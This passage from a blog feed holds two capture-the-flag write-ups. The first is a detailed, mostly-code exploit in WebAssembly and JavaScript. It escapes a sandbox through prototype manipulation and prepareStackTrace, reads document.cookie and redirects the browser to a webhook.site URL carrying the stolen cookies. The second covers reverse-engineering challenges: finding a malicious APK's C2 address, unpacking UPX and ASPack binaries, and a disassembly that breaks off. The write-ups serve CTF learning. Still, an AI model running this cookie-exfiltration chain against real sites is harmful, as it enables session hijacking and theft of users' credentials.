(i32.const 0x41)))</pre><pre>	(global.set $char_to_return (i32.const 0x41))<br>	(local.set $kv (call $group_by <br>		(call $build_single_element_array (local.get $key))<br>		(ref.func $return_char)<br>	))<br></pre><pre>	(local.set $enumerable_desc <br>		(call $group_by (global.get $object_name) (ref.func $return_externref))<br>	)</pre><pre>	(local.set $descriptor (call $get__proto__descriptor))<br>	(call $object_assign (local.get $descriptor) (local.get $enumerable_desc))</pre><pre>	(local.set $target_key (call $make_single_char_string (i32.const 0x41)))<br>	<br>	(call $object_define_property<br>		(local.get $kv)<br>		(local.get $target_key)<br>		(local.get $descriptor)<br>	)</pre><pre>	(call $object_set_prototype_of (local.get $kv) <br>		(call $object (local.get $value))<br>	)<br>	(call $object_from_entries<br>		(call $build_single_element_array (call $object_values (local.get $kv)))<br>	)<br>)</pre><pre>(func $set (param $target externref) (param $key externref) (param $value externref)<br>	(call $object_assign<br>		(local.get $target)<br>		(call $build_kv_object (local.get $key) (local.get $value))<br>	)<br>)</pre><h4>Call functions while controlling this</h4><p>Only being able to call static functions is extremely restrictive so we need to figure out a way to control this. While reading about <a href="https://mathiasbynens.be/notes/globalthis">globalThis polyfills</a> in the hopes of finding an easier way to get access to window from wasm I found that when calling setters and getters the javascript engine will set thish to the object the setter/getter is defined on, no matter how it is accessed. This means that we can use Object.assign to read/write to those properties and call any function that way!</p><p>Sadly when using setters we don’t get the return value, and when using getters we don’t get to pass any arguments, but that’s a problem for future us to solve.</p><pre>function saveElem(element: externref) {<br>	savedElement = element<br>}</pre><pre>function getLastArrayElement(array: externref, n: i32) {<br>	Object.groupBy(array, saveElem)<br>	return savedElement<br>}</pre><pre>// &quot;get&quot;<br>function getGetString() {<br>	return getNthArrayElement(Object.keys(get__proto__Descriptor()), 0)<br>}</pre><pre>// &quot;set&quot;<br>function getSetString() {<br>	return getNthArrayElement(Object.keys(get__proto__Descriptor()), 1)<br>}</pre><pre>// &quot;configurable&quot;<br>function getConfigurableString() {<br>	return getNthArrayElement(Object.keys(get__proto__Descriptor()), 3)<br>}</pre><pre>function callWithThis(this: externref, func: externref): externref {<br>	// Doesn&#39;t matter what the key is, we just need it to be something<br>	const key = getStringfromCharCode(0x42);</pre><pre>	const descriptor = emptyObject();</pre><pre>	// Using Object.name here as a bool true<br>	set(descriptor, getEnumerableString(), Object.name)<br>	// Set configurable to true so we can change this property in the future if needed<br>	set(descriptor, getConfigurableString(), Object.name)<br>	set(descriptor, getGetString(), function)</pre><pre>	Object.defineProperty(this, key, descriptor);</pre><pre>	// Object.values calls the getter for us<br>	const values = Object.values(source)</pre><pre>	return getLastArrayElement(values, 0)<br>}</pre><pre>// Call using a setter<br>// Can&#39;t return anything here, so this is only useful for side effects<br>function callWithThisAndArg(this: externref, func: externref, arg: externref) {<br>	// Doesn&#39;t matter what the key is, we just need it to be something<br>	const key = getStringfromCharCode(0x42);</pre><pre>	const descriptor = emptyObject();</pre><pre>	// Using Object.name here as a bool true<br>	set(descriptor, getEnumerableString(), Object.name)<br>	// Set configurable to true so we can change this property in the future if needed<br>	set(descriptor, getConfigurableString(), Object.name)<br>	set(descriptor, getSetString(), func)</pre><pre>	Object.defineProperty(this, key, descriptor);</pre><pre>	// Calls Object.assign, which calls the setter<br>	set(this, key, value);<br>}</pre><p>WAT</p><pre>(func $save_elem (param $elem externref)<br>	(global.set $saved_element (local.get $elem))<br>)<br>(export &quot;saveElem&quot; (func $save_elem))</pre><pre>(func $get_last_element (param $arr externref) (result externref)<br>	(call $group_by (local.get $arr) (ref.func $save_elem))<br>	drop<br>	(global.get $saved_element)<br>)</pre><pre>(func $get_get_string (result externref)<br>	(call $get_nth_element<br>		(call $object_keys (call $get__proto__descriptor))<br>		(i32.const 0)<br>	)<br>)</pre><pre>(func $get_set_string (result externref)<br>	(call $get_nth_element<br>		(call $object_keys (call $get__proto__descriptor))<br>		(i32.const 1)<br>	)<br>)</pre><pre>(func $get_configurable_string (result externref)<br>	(call $get_nth_element<br>		(call $object_keys (call $get__proto__descriptor))<br>		(i32.const 3)<br>	)<br>)</pre><pre>(func $call_with_this (param $this externref) (param $func externref) (result externref)<br>	(local $key externref)<br>	(local $descriptor externref)<br>	<br>	(local.set $key (call $make_single_char_string (i32.const 0x41)))<br>	(local.set $descriptor (call $empty_object))</pre><pre>	(call $set (local.get $descriptor) (call $get_enumerable_string) (global.get $object_name))<br>	(call $set (local.get $descriptor) (call $get_configurable_string) (global.get $object_name))<br>	(call $set (local.get $descriptor) (call $get_get_string) (local.get $func))<br>	<br>	(call $object_define_property (local.get $this) (local.get $key) (local.get $descriptor))<br>	(call $get_last_element (call $object_values (local.get $this)))<br>)</pre><pre>(func $call_with_this_and_arg (param $this externref) (param $func externref) (param $arg externref)<br>	(local $key externref)<br>	(local $descriptor externref)<br>	<br>	(local.set $key (call $make_single_char_string (i32.const 0x41)))<br>	(local.set $descriptor (call $empty_object))</pre><pre>	(call $set (local.get $descriptor) (call $get_enumerable_string) (global.get $object_name))<br>	(call $set (local.get $descriptor) (call $get_configurable_string) (global.get $object_name))<br>	(call $set (local.get $descriptor) (call $get_set_string) (local.get $func))<br>	<br>	(call $object_define_property (local.get $this) (local.get $key) (local.get $descriptor))<br>	<br>	(call $set (local.get $this) (local.get $key) (local.get $arg))<br>)</pre><p>Our options for function calls now are</p><p>Object.groupBygetterssetterscontrol thisnoyeayescontrol argsyesnoyesreturn valuestringifiedyesno</p><p>With all of these primitives can we do better?</p><h4>Building arbitrary strings</h4><p>I started to feel really confident in what I had. I had so many options: I could call Promise.then if needed, I could call fetch(if I had access to it), I could crete arbitrary objects. I could push to array, map them. I could do so much!</p><p>…</p><p>Which just made it so much more frustrating that I couldn’t build a simple string</p><p>I started researching, checking all the possible string methods, array methods, even promises, anything I could use.</p><p>The only thing I found was that by using reduce I could control two arguments when calling functions with Array.prototype.reduce, roughly like so:</p><pre>[arg1, arg2].reduce(func)</pre><p>(A proper definition of this function based on previous primitives, that can actually run in wasm left as an excercise to the reader) but that didn’t let me control this restricting me to static functions. Slight improvement over Object.groupBy at best, but didn&#39;t really get me anywhere, until I had an epiphany:</p><p>Most higher-order array functions, like Array.prototype.map, Array.from and Array.prototype.find take an additional argument at the end, thisArg, which specifies what this will be set when calling the user provided callback. (oddly Array.prototype.reduce doesn&#39;t take that argument)</p><p>We can’t make use of this with the vast majority of functions, since our only way of specifying multiple arguments(reduce) doesn&#39;t let us control this(), but there is one very notable exception:</p><p>Array.from(items, mapFn, thisArg)</p><p>thisArg here is a third argument, meaning we have no control over it, right? WRONG!</p><p>reduce actually passes a third argument. The element index.<br>Which is a number.<br>And numbers in javascript are objects.<br>Which have prototypes.</p><p>So if we do</p><pre>&gt; Object.setPrototypeOf(Number.prototype, [&quot;p&quot;,&quot;r&quot;,&quot;e&quot;])<br>[Number (Array): 0]<br>&gt; Array.from([&quot;&quot;], Array.prototype.join, 1)<br>[ &#39;pre&#39; ]<br>&gt; [[&quot;&quot;], Array.prototype.join].reduce(Array.from)<br>[ &#39;pre&#39; ]</pre><p>hhahahaha yes;</p><p>now we just need some way to get the result out of the reduce call, but that is surprisingly easy. If we just tackle on a function at the end Array.from will call it with the result of our previous Array.from call Basically what we’re doing is</p><pre>let saved;<br>function saveVal(x) {<br>	saved = x;<br>}</pre><pre>const joinedString = Array.from([&quot;&quot;], Array.prototype.join, [&quot;p&quot;,&quot;r&quot;,&quot;e&quot;])<br>Array.from(joinedString, saveVal);</pre><p>but in a very roundabout way.</p><p>Let’s put this into practice</p><pre>function emptyString(): externref {<br>	return callWithThis(<br>		// Doesn&#39;t matter what this is.<br>		// `callWithThis` is just the easiest way to call the function without arguments<br>		emptyObject(),<br>		getStringfromCharCode())<br>}</pre><pre>function emptyArray(): externref {<br>	return Object.keys(emptyObject())<br>}</pre><pre>function getNumberPrototype(): externref {<br>	return Object.getPrototypeOf(1)<br>}</pre><pre>function getArrayPrototype(): externref {<br>	return Object.getPrototypeOf(emptyArray())<br>}</pre><pre>function getArrayConstructor(): externref {<br>	return getPropertyByIndex(getArrayPrototype(), 1)<br>}</pre><pre>function getArrayFrom(): externref {<br>	return getPropertyByIndex(getArrayConstructor(), 4)<br>}</pre><pre>function getArrayPrototypePush(): externref {<br>	return getPropertyByIndex(getArrayPrototype(), 12)<br>}</pre><pre>function getArrayPrototypeJoin(): externref {<br>	return getPropertyByIndex(getArrayPrototype(), 21)<br>}</pre><pre>function getArrayPrototypeReduce(): externref {<br>	return getPropertyByIndex(getArrayPrototype(), 32)<br>}</pre><pre>function arrayPush(arr: externref, val: externref) {<br>	callWithThisAndArg(arr, getArrayPrototypePush, val);<br>}<br></pre><pre>function arrayJoin(arr: externref): externref {<br>	setPrototypeOf(getNumberPrototype(), arr)</pre><pre>	// [[]]<br>	// Empty arrays get stringified as empty strings<br>	// And it&#39;s easier for us to create an empty array than a string<br>	// Since we already have a function defined for it<br>	const joinArgs = emptyArray()<br>	arrayPush(joinArgs, emptyArray())</pre><pre>	// [[[]], Array.prototype.join, saveVal]<br>	const reducerArray = emptyArray()<br>	arrayPush(reducerArray, joinArgs)<br>	arrayPush(reducerArray, getArrayPrototypeJoin())<br>	// need to wrap the save_elem func with Object to turn it from a funcref to a externref<br>	arrayPush(reducerArray, Object(save_elem))</pre><pre>	// reducerArray.reduce(Array.from)<br>	callWithThisAndArg(reducerArray, getArrayPrototypeReduce(), getArrayFrom())</pre><pre>	// Restore the original prototype<br>	setPrototypeOf(getNumberPrototype(), Object.prototype)</pre><pre>	return saved_element<br>}</pre><pre>function getPrepareStackTraceString(): externref {<br>	// [&quot;p&quot;, &quot;r&quot;, &quot;e&quot;, &quot;p&quot;, &quot;a&quot;, &quot;r&quot;, &quot;e&quot;, &quot;S&quot;, &quot;t&quot;, &quot;a&quot;, &quot;c&quot;, &quot;k&quot;, &quot;T&quot;, &quot;r&quot;, &quot;a&quot;, &quot;c&quot;, &quot;e&quot;]<br>	const unjoined = emptyArray()<br>	// p<br>	arrayPush(getStringfromCharCode(0x70))<br>	// r<br>	arrayPush(getStringfromCharCode(0x72))<br>	// e<br>	arrayPush(getStringfromCharCode(0x65))<br>	// p<br>	arrayPush(getStringfromCharCode(0x70))<br>	// and so on[...]</pre><pre>	return arrayJoin(unjoined)<br>}</pre><pre>// getPrepareStackTraceString() == &quot;prepareStackTrace&quot;</pre><p>WAT</p><pre>(func $empty_string (result externref)<br>	(call $call_with_this<br>		(call $empty_object)<br>		(call $get_string_from_char_code)<br>	)<br>)</pre><pre>(func $empty_array (result externref)<br>	(call $object_keys (call $empty_object))<br>)</pre><pre>;; (import &quot;constructor&quot; &quot;getPrototypeOf&quot; (func $object_get_prototype_of_number (param i32) (result externref)))<br>(func $get_number_prototype (result externref)<br>	(call $object_get_prototype_of_number (i32.const 0x0))<br>)</pre><pre>(func $get_array_prototype (result externref)<br>	(call $object_get_prototype_of (call $empty_array))<br>)</pre><pre>(func $get_array_constructor (result externref)<br>	(call $get_property_by_index (call $get_array_prototype) (i32.const 1))<br>)</pre><pre>(func $get_array_from (result externref)<br>	(call $get_property_by_index (call $get_array_constructor) (i32.const 4))<br>)</pre><pre>(func $get_array_prototype_push (result externref)<br>	(call $get_property_by_index (call $get_array_prototype) (i32.const 12))<br>)</pre><pre>(func $get_array_prototype_join (result externref)<br>	(call $get_property_by_index (call $get_array_prototype) (i32.const 21))<br>)</pre><pre>(func $get_array_prototype_reduce (result externref)<br>	(call $get_property_by_index (call $get_array_prototype) (i32.const 32))<br>)</pre><pre>(func $array_push (param $arr externref) (param $val externref)<br>	(call $call_with_this_and_arg (local.get $arr) (call $get_array_prototype_push) (local.get $val))<br>)</pre><pre>;;(import &quot;__proto__&quot; &quot;constructor&quot; (func $object_funcref (param funcref) (result externref)))<br>(func $array_join (param $arr externref) (result externref)<br>	(local $join_args externref)<br>	(local $reducer_array externref)</pre><pre>	(local.set $join_args (call $empty_array))<br>	(local.set $reducer_array (call $empty_array))<br>	<br>	(call $array_push (local.get $join_args) (call $empty_array))</pre><pre>	(call $array_push (local.get $reducer_array) (local.get $join_args))<br>	(call $array_push (local.get $reducer_array) (call $get_array_prototype_join))<br>	(call $array_push (local.get $reducer_array) (call $object_funcref (ref.func $save_elem)))</pre><pre>	(call $object_set_prototype_of (call $get_number_prototype) (local.get $arr))<br>	(call $call_with_this_and_arg (local.get $reducer_array) (call $get_array_prototype_reduce) (call $get_array_from))<br>	(call $object_set_prototype_of (call $get_number_prototype) (global.get $object_prototype))<br>	<br>	(global.get $saved_element)<br>)</pre><pre>(func $get_prepare_stack_trace_string (result externref)<br>	(local $arr externref)<br>	(local.set $arr (call $empty_array))</pre><pre>	(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x70)))<br>	(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x72)))<br>	(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x65)))<br>	(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x70)))<br>	;; [...]</pre><pre>	(call $array_join (local.get $arr))<br>)</pre><p>phew…<br>that was a lot</p><h3>Putting it all together</h3><h4>Recovering the window object</h4><p>First we have to register our prepareStackTrace function.</p><p>The naive approach is to just do this in the renderPixel function and trigger an error right after.</p><p>Eg.</p><pre>// Throws:<br>// TypeError: Object prototype may only be an Object or null<br>function triggerError() {<br>	Object.setPrototypeOf(Object.name, Object.name)<br>}</pre><pre>export function renderPixel(x, y) {<br>	set(Object.prototype, getPrepareStackTraceString(), stackTraceHandler)<br>	triggerError()<br>}</pre><pre>function stackTraceHandler(error: externref, callSites: externref) {<br>	log(callSites)<br>	// TODO!<br>}</pre><p>WAT</p><pre>(func $trigger_error<br>	(call $object_set_prototype_of (global.get $object_name) (global.get $object_name)) <br>)</pre><pre>(func $stack_trace_handler (param externref) (param $callsites externref)<br>	(call $log (local.get $callsites))<br>)</pre><pre>(export &quot;stackTraceHandler&quot; (func $stack_trace_handler))</pre><pre>(func $renderPixel (result i32)<br>	(call $set <br>		(global.get $object_prototype) <br>		(call $get_prepare_stack_trace_string) <br>		(call $object_funcref (ref.func $stack_trace_handler))<br>	)<br>	(call $trigger_error)<br>	i32.const 11141375)<br>(export &quot;renderPixel&quot; (func $renderPixel))</pre><p>But when I tried this it just didn’t work. The stack trace didn’t have a reference to window.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Qy72o_VWJmfP969Q.png" /></figure><p>Looks like we need to cause an error to happen in javascript and not wasm. This is actually very easy: all we need to do is not to define a renderPixel method, which will cause an exception to be thrown.</p><p>This obviously means that we can’t setup our prepareStackTrace hack in the renderPixel function, but wasm does have support for defining a start function that gets called when the module is instantiated.</p><pre>export function start() {<br>	set(Object.prototype, getPrepareStackTraceString(), stackTraceHandler)<br>}</pre><p>WAT</p><pre>(func $main<br>	(call $set <br>		(global.get $object_prototype) <br>		(call $get_prepare_stack_trace_string) <br>		(call $object_funcref (ref.func $stack_trace_handler))<br>	)<br>)<br>(start $main)</pre><pre>;;(func $renderPixel (result i32)<br>;;	i32.const 11141375)<br>;;(export &quot;renderPixel&quot; (func $renderPixel))</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zuKPfPGk_Q-Ay1NM.png" /></figure><p>🛈</p><p>While writing this post I found that using the <a href="https://developer.mozilla.org/en-US/docs/WebAssembly/Reference/Control_flow/unreachable">unreachable</a> instruction instead of triggering an error with Array.from creates a stack trace that has a window somewhere in it. I&#39;m really not sure why.</p><p>now we can modify the stackTraceHandler function to actually get access to window.</p><pre>function stackTraceHandler(error: externref, callSites: externref) {<br>	const callsite = getNthArrayElement(callSites, 0);<br>	const callsiteProto = Object.getPrototypeOf(callsite);<br>	const getThis = getPropertyByIndex(callsiteProto, 14);</pre><pre>	const window = callWithThis(callsite, getThis);<br>	log(window)<br>}</pre><p>WAT</p><pre>(func $stack_trace_handler (param externref) (param $callsites externref)<br>	(local $callsite externref)<br>	(local $callsite_proto externref)<br>	(local $get_this externref)<br>	(local $window externref)</pre><pre>	(local.set $callsite (call $get_nth_element (local.get $callsites) (i32.const 0)))<br>	(local.set $callsite_proto (call $object_get_prototype_of (local.get $callsite)))<br>	(local.set $get_this (call $get_property_by_index (local.get $callsite_proto) (i32.const 14)))<br>	<br>	(local.set $window (call $call_with_this (local.get $callsite) (local.get $get_this)))</pre><pre>	(call $log (local.get $window))<br>)</pre><p>and…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2Q4_YY_jsDdMqtaZ.png" /></figure><p>booyah</p><h4>Stealing cookies</h4><p>We now need to somehow read document.cookie, so we can send it to our flag server.</p><p>document.cookies is not a plain property on document, instead being a getter/setter, pair defined on the Document class , which is in the prototype chain of document.</p><p>Since property enumerability is not inherited we can’t use Object.keys, and we have to manually call the getter to access this property</p><pre>function stackTraceHandler(error: externref, callSites: externref) {<br>	// [...] continued</pre><pre>	const documentGetter = getPropertyByIndex(window, 672)<br>	const document = callWithThis(window, documentGetter)<br>	const htmldocumentProto = Object.getPrototypeOf(document);<br>	const documentProto = Object.getPrototypeOf(htmldocumentProto);</pre><pre>	const documentProperties = Object.getOwnPropertyDescriptors(documentProto)<br>	const cookieDescriptor = getNthArrayElement(Object.values(documentProperties)), 15)</pre><pre>	const cookieGetter = getNthArrayElement(Object.values(cookieDescriptor)), 0)</pre><pre>	// document.cookie<br>	const cookies = callWithThis(document, cookieGetter);<br>}</pre><p>WAT</p><pre>(func $stack_trace_handler (param externref) (param $callsites externref)</pre><pre>	(local $document_getter externref)<br>	(local $document externref)<br>	(local $html_document_proto externref)<br>	(local $document_proto externref)</pre><pre>	(local $document_props externref)<br>	(local $cookie_desc externref)<br>	(local $cookie_getter externref)</pre><pre>	(local $cookies externref)</pre><pre>	(local.set $document_getter (call $get_property_by_index (local.get $window) (i32.const 672)))<br>	(local.set $document (call $call_with_this (local.get $window) (local.get $document_getter)))</pre><pre>	(local.set $html_document_proto (call $object_get_prototype_of (local.get $document)))<br>	(local.set $document_proto (call $object_get_prototype_of (local.get $html_document_proto)))<br>	(local.set $document_props (call $get_own_property_descriptors (local.get $document_proto)))</pre><pre>	(local.set $cookie_desc (call $get_nth_element (call $object_values (local.get $document_props)) (i32.const 15)))<br>	(local.set $cookie_getter (call $get_nth_element (call $object_values (local.get $cookie_desc)) (i32.const 0)))</pre><pre>	(local.set $cookies (call $call_with_this (local.get $document) (local.get $cookie_getter)))<br>)</pre><h4>Getting the cookies back</h4><p>The easiest way to do this is to redirect the browser to a webpage we control(like webhook.site) and put the cookie in a get parameter. To do this we can just write a string to the document.location property.</p><pre>// &quot;https://webhook.site/00000000-0000-0000-0000-000000000000?cookie=&quot;<br>function getWebhookURL() {<br>	// Same code as the getPrepareStackTraceString<br>	// [...]<br>}</pre><pre>function stackTraceHandler(error: externref, callSites: externref) {<br>	// [...] continued</pre><pre>	const redirectArray = emptyArray();<br>	arrayPush(redirectArray, getWebhookURL());<br>	arrayPush(redirectArray, cookies);</pre><pre>	const redirectString = arrayJoin(redirectArray);</pre><pre>	// the literal &quot;location&quot;<br>	const locationString = getNthArrayElement(Object.keys(document), 0);<br>	set(document, locationString, redirectString);<br>}</pre><p>WAT</p><pre>(func $get_webhook_url (result externref)<br>	(local $arr externref)<br>	(local.set $arr (call $empty_array))</pre><pre>	(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x68)))<br>	(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x74)))<br>	(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x74)))<br>	;; [...]</pre><pre>	(call $array_join (local.get $arr))<br>)</pre><pre>(func $stack_trace_handler (param externref) (param $callsites externref)<br>	(local $redirect_array externref)<br>	(local $redirect_string externref)<br>	(local $location_string externref)</pre><pre>	(local.set $redirect_array (call $empty_array))<br>	(call $array_push (local.get $redirect_array) (call $get_webhook_url))<br>	(call $array_push (local.get $redirect_array) (local.get $cookies))</pre><pre>	(local.set $redirect_string (call $array_join (local.get $redirect_array)))<br>	<br>	(local.set $location_string (call $get_nth_element (call $object_keys (local.get $document)) (i32.const 0)))</pre><pre>	(call $set (local.get $document) (local.get $location_string) (local.get $redirect_string))<br>)</pre><p>and…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*o9iH7pwrJz0_SkFv.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ca8df09983ec" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WRITE UP:OWASP LIGA CTF 2026]]></title>
            <link>https://medium.com/@sonicmuaz/write-up-liga-ctf-a47c8c5f4574?source=rss-dc148c93e3c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/a47c8c5f4574</guid>
            <dc:creator><![CDATA[FROSTIVUS]]></dc:creator>
            <pubDate>Thu, 04 Jun 2026 22:56:38 GMT</pubDate>
            <atom:updated>2026-07-15T08:20:52.643Z</atom:updated>
            <content:encoded><![CDATA[<h3>LIGA CTF: Reverse Engineering [W1]</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ihQ9xJgMrAtXGd-BXw6sAw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W6werOXVPwzCVQqHKw4-GQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qF3y9FH3XA6c352M5CeKMw.png" /></figure><h3>Logon Test</h3><p>This is to verify if you have successfully log in.</p><p>The flag format for this CTF can be one of the followings:</p><ul><li>liga{xxx}</li><li>OWASPKL{xxx}</li><li>ligactf{xxx}</li></ul><p>Each challenge description will explicitly mention which flag format to use.</p><p>Submit OWASPKL{FR33_FL4G} to earn free point of this challenge.</p><p>Flag: OWASPKL{FR33_FL4G}</p><h3>Find the C2 Server</h3><p>This APK file is malicious. It secretly talks to a C2 Server. Identify the C2 Server address, and find the flag.</p><p>Flag format: OWASPKL{xxx}</p><p>On decompiled source of java using jadx. On MainActivity, a string was called</p><pre>/* renamed from: String$val-d1$try$fun-$anonymous$$arg-5$call-thread$fun-backdoorC2$class-MainActivity, reason: not valid java name */<br>    private static String f98x506ff06 = &quot;&lt;https://appsecmy.com/&gt;&quot;;</pre><pre>    /* renamed from: String$val-d2$try$fun-$anonymous$$arg-5$call-thread$fun-backdoorC2$class-MainActivity, reason: not valid java name */<br>    private static String f99xcc12e607 = &quot;pages/liga-ctf-2026&quot;;</pre><pre>    /* renamed from: String$arg-0$call-setRequestMethod$try$fun-$anonymous$$arg-5$call-thread$fun-backdoorC2$class-MainActivity, reason: not valid java name */<br>    private static String f88xf204d679 = &quot;POST&quot;;<br>    <br>    /* renamed from: Boolean$arg-0$call-setDoOutput$try$fun-$anonymous$$arg-5$call-thread$fun-backdoorC2$class-MainActivity, reason: not valid java name */<br>    private static boolean f53xb9b2a8a0 = true;</pre><pre>    /* renamed from: String$arg-0$call-setRequestProperty$try$fun-$anonymous$$arg-5$call-thread$fun-backdoorC2$class-MainActivity, reason: not valid java name */<br>    private static String f89xd700fed = &quot;Content-Type&quot;;</pre><pre>    /* renamed from: String$arg-1$call-setRequestProperty$try$fun-$anonymous$$arg-5$call-thread$fun-backdoorC2$class-MainActivity, reason: not valid java name */<br>    private static String f97x3d2743ee = &quot;application/json&quot;;</pre><p>C2 URL is constructed by concatenating two string constants:</p><ul><li>d1 = <a href="https://appsecmy.com/">https://appsecmy.com/</a></li><li>d2 = pages/liga-ctf-2026</li></ul><p>So the C2 is: <a href="https://appsecmy.com/pages/liga-ctf-2026"><strong>https://appsecmy.com/pages/liga-ctf-2026</strong></a></p><p>The app POSTs exfiltrated data (stolen Telegram session content) to that endpoint as JSON, with the Content-Type: application/json header.</p><p>when reconstruct those C2 and curl it</p><pre>┌──(myenv)(osiris㉿ALICE)-[~]<br>└─$ curl &lt;https://appsecmy.com/pages/liga-ctf-2026&gt; | grep &quot;OWASPKL{&quot;<br>    &lt;!-- OWASPKL{&lt;https://chat.whatsapp.com/KAdpus4R0pb895ulC2jo8p&gt;} This is the FL4G. But feel free to join our Community Group--&gt;</pre><p>Flag: OWASPKL{&lt;https://chat.whatsapp.com/KAdpus4R0pb895ulC2jo8p&gt;}</p><h3>unpackme0 — Easy</h3><p>With that out of the way, your first task is to identify the packer used for this binary, and unpack it. Provide the md5 hash of the unpacked file as your flag. Example: OWASPKL{23ac7b66851387b96a20672b5c0dc856}</p><p>directly</p><pre>upx -d &lt;file&gt;</pre><p>Solving</p><pre>PS C:\\Users\\os1ris\\Desktop &gt; certutil -hashfile unpackme0 md5<br>MD5 hash of unpackme0:<br>1cc6a3b62cac36ab18e0c4685a7f4bdf</pre><p>Flag: OWASPKL{1cc6a3b62cac36ab18e0c4685a7f4bdf}</p><h3>unpackme1 — Medium</h3><p>Well done, by now you should hopefully understand more about packed binaries. Things won’t be as straightforward anymore though. A simple anti unpacking technique was applied to this packed binary.</p><p>Your next task is the same: identify the packer used for this binary, and unpack it. Instead of getting the file hash, the flag is hidden in the unpacked file as a string. Format: OWASPKL{Im_A_Flag}</p><h3>Observation</h3><p>The file mentions VQY packer which seems to be a custom/fictional packer for the CTF. But I also see UPX markers (“UPX!” string appears)</p><p>The binary has “VQY!” markers and “UPX!” markers in the text. The VQY packer is likely just a modified UPX with the magic bytes changed. we can change the magic bytes of VQY! into UPX! and try to manually fix them.</p><p>data = open(‘/os1ris/unpackme1’,’rb’).read()<br>patched = data.replace(b’VQY!’, b’UPX!’)<br>open(‘/os1ris/patched’, ‘wb’).write(patched)</p><h3>Unpack</h3><p>and then try unpack it back using UPX</p><pre>$ upx -d &lt;file&gt;<br>                       Ultimate Packer for eXecutables<br>                          Copyright (C) 1996 - 2024<br>UPX 4.2.2       Markus Oberhumer, Laszlo Molnar &amp; John Reiser    Jan 3rd 2024</pre><pre>        File size         Ratio      Format      Name<br>   --------------------   ------   -----------   -----------<br>     24527 &lt;-      6596   26.89%   linux/amd64   unpackme1_patch</pre><pre>Unpacked 1 file.</pre><p>directly string the file</p><pre>$ strings unpackme1_patch | grep -i &quot;OWASPKL”<br>Format: OWASPKL{Im_A_Flag}<br>OWASPKL{Unpackm3_4mat3ur0923257}</pre><p>Flag: OWASPKL{Unpackm3_4mat3ur0923257}</p><h3>unpackme2 — Medium</h3><p>Your next task is the same: identify the packer used for this binary, and unpack it. The flag for this challenge is made up of two parts: The name of the packer (in all caps), and the flag string in the binary. The flag string does NOT follow the OWASPKL{} flag format! It’s simply a string in l33tspeak hidden in the program. The two parts are separated with an underscore (_).</p><p>Format: OWASPKL{[PACKERNAME]_[EXAMPLEFLAG]} Example: OWASPKL{MYPACKER_3xampl3Fl4g}</p><h3>Dynamic</h3><p>the packer was ASPack when checking on Detect It Easy. Using xdbg32. set breakpoint on <strong>VirtualProtect</strong>. Watch the EAX and follow the dump will able to see the leetspeak code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bkujM386QNFS0E41H1MP6Q.png" /></figure><p>Flag:</p><p>OWASPKL{ASPACK_Unpackm3C0mpl3te}</p><h3>Lockbox</h3><h3>Decompile</h3><p>Disassembly of section .init:</p><p>000000000040033c &lt;.init&gt;:<br> 40033c: f3 0f 1e fa endbr64<br> 400340: 48 83 ec 08 sub rsp,0x8<br> 400344: 48 8b 05 95 2c 00 00 mov rax,QWORD PTR [rip+0x2c95] # 402fe0 &lt;putc@plt+0x2c30&gt;<br> 40034b: 48 85 c0 test rax,rax<br> 40034e: 74 02 je 400352 &lt;puts@plt-0x1e&gt;<br> 400350: ff d0 call rax<br> 400352: 48 83 c4 08 add rsp,0x8<br> 400356: c3 ret</p><p>Disassembly of section .plt:</p><p>0000000000400360 &lt;puts@plt-0x10&gt;:<br> 400360: ff 35 8a 2c 00 00 push QWORD PTR [rip+0x2c8a] # 402ff0 &lt;putc@plt+0x2c40&gt;<br> 400366: ff 25 8c 2c 00 00 jmp QWORD PTR [rip+0x2c8c] # 402ff8 &lt;putc@plt+0x2c48&gt;<br> 40036c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]</p><p>0000000000400370 &lt;puts@plt&gt;:<br> 400370: ff 25 8a 2c 00 00 jmp QWORD PTR [rip+0x2c8a] # 403000 &lt;putc@plt+0x2c50&gt;<br> 400376: 68 00 00 00 00 push 0x0<br> 40037b: e9 e0 ff ff ff jmp 400360 &lt;puts@plt-0x10&gt;</p><p>0000000000400380 &lt;strlen@plt&gt;:<br> 400380: ff 25 82 2c 00 00 jmp QWORD PTR [rip+0x2c82] # 403008 &lt;putc@plt+0x2c58&gt;<br> 400386: 68 01 00 00 00 push 0x1<br> 40038b: e9 d0 ff ff ff jmp 400360 &lt;puts@plt-0x10&gt;</p><p>0000000000400390 &lt;printf@plt&gt;:<br> 400390: ff 25 7a 2c 00 00 jmp QWORD PTR [rip+0x2c7a] # 403010 &lt;putc@plt+0x2c60&gt;<br> 400396: 68 02 00 00 00 push 0x2<br> 40039b: e9 c0 ff ff ff jmp 400360 &lt;puts@plt-0x10&gt;</p><p>00000000004003a0 &lt;strcmp@plt&gt;:<br> 4003a0: ff 25 72 2c 00 00 jmp QWORD PTR [rip+0x2c72] # 403018 &lt;putc@plt+0x2c68&gt;<br> 4003a6: 68 03 00 00 00 push 0x3<br> 4003ab: e9 b0 ff ff ff jmp 400360 &lt;puts@plt-0x10&gt;</p><p>00000000004003b0 &lt;putc@plt&gt;:<br> 4003b0: ff 25 6a 2c 00 00 jmp QWORD PTR [rip+0x2c6a] # 403020 &lt;putc@plt+0x2c70&gt;<br> 4003b6: 68 04 00 00 00 push 0x4<br> 4003bb: e9 a0 ff ff ff jmp 400360 &lt;puts@plt-0x10&gt;</p><p>Disassembly of section .text:</p><p>00000000004003c0 